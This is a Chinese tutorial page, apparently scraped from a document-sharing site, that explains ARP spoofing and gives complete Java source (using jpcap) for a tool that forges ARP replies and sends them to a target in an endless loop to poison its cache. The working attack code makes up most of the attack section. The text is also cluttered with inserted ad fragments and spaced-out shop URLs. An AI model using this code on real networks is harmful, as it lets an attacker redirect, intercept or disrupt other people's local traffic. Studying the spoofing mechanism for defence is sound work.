首页 JAVA代码实现ARP攻击

JAVA代码实现ARP攻击

举报
开通vip

JAVA代码实现ARP攻击 ARP攻击原理 一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信. 而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将 IP地址解析到MAC地址,这就是ARP协议.达内就业 而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中 是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点 收到ARP请求的时候,会创建一个ARP reply...

JAVA代码实现ARP攻击
ARP攻击原理 一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信. 而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将 IP地址解析到MAC地址,这就是ARP协议.达内就业 而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中 是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点 收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点, ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后, 会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候, 系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。 用ping命令举例来说, 在机器A,比如说IP是 192.168.1.2中发出下面的ping命令: ping 192.168.1.3,如果 192.168.1.3这个MAC地址在机器A的ARP缓存表中不存在,这时候 机器A就会发送一个ARP广播,当 192.168.1.3接到广播后,会给机器A回一个 ARP Reply包,其中包含了 192.168.1.3的MAC地址,这是正常的ARP过程. 假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E) 但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包, 机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为 (192.168.1.3--00-1C-23-2E-A7-0A,0A实际上为 192.168.1.4的MAC地址) 那么机器A再通过IP往 192.168.1.3发送数据的时候,实际上却发到了 192.168.1.4这台机器. 这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内. 本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就 会面谈你滴... 下面用JAVA代码模拟一下上面说到的ARP欺骗. 192.168.1.4将一个 192.168.1.3的假的MAC地址发给 192.168.1.2.【成都java就业怎么样】 需要用到jpcap.jar, [java] view plaincopyprint? package com.test.arp; • import java.net.InetAddress; import jpcap.JpcapCaptor; • import jpcap.JpcapSender; import jpcap.NetworkInterface; • import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; • public class SendFakeARP { j a v a ? ? ? ? :h t t p :/ /5 1c cs j .t a o b a o .c o m / j a v a ? ? ? ? :h t t p :/ /c h e n g ch e n g t e ch .t a o b a o .c o m / • static byte[] stomac(String s) { byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; • String[] s1 = s.split("-"); for (int x = 0; x < s1.length; x++) { • mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); } • return mac; } • public static void main(String[] args) throws Exception { int time = 2; // 重发间隔时间 达内java 培训 焊锡培训资料ppt免费下载焊接培训教程 ppt 下载特设培训下载班长管理培训下载培训时间表下载 • InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺骗的目标 IP地址 byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺骗的目标目标MAC数组 • InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源 IP地址 byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC数组 • // 枚举网卡并打开设备 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); • NetworkInterface device = devices[1]; JpcapSender sender = JpcapSender.openDevice(device); • // 设置 ARP包 ARPPacket arp = new ARPPacket(); • arp.hardtype = ARPPacket.HARDTYPE_ETHER; arp.prototype = ARPPacket.PROTOTYPE_IP; • arp.operation = ARPPacket.ARP_REPLY; arp.hlen = 6; • arp.plen = 4; arp.sender_hardaddr = srcmac; • arp.sender_protoaddr = srcip.getAddress(); arp.target_hardaddr = desmac; • arp.target_protoaddr = desip.getAddress(); // 设置 DLC帧 • EthernetPacket ether = new EthernetPacket(); ether.frametype = EthernetPacket.ETHERTYPE_ARP; • ether.src_mac = srcmac; ether.dst_mac = desmac; • arp.datalink = ether; // 发送ARP应答包java培训机构 • while (true) { System.out.println("sending arp.."); • sender.sendPacket(arp); Thread.sleep(time * 1000); j a v a ? ? ? ? :h t t p :/ /5 1c cs j .t a o b a o .c o m / j a v a ? ? ? ? :h t t p :/ /c h e n g ch e n g t e ch .t a o b a o .c o m / • } } • } j a v a ? ? ? ? :h t t p :/ /5 1c cs j .t a o b a o .c o m / j a v a ? ? ? ? :h t t p :/ /c h e n g ch e n g t e ch .t a o b a o .c o m /
本文档为【JAVA代码实现ARP攻击】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_740086
暂无简介~
格式:pdf
大小:303KB
软件:PDF阅读器
页数:3
分类:工学
上传时间:2012-10-08
浏览量:54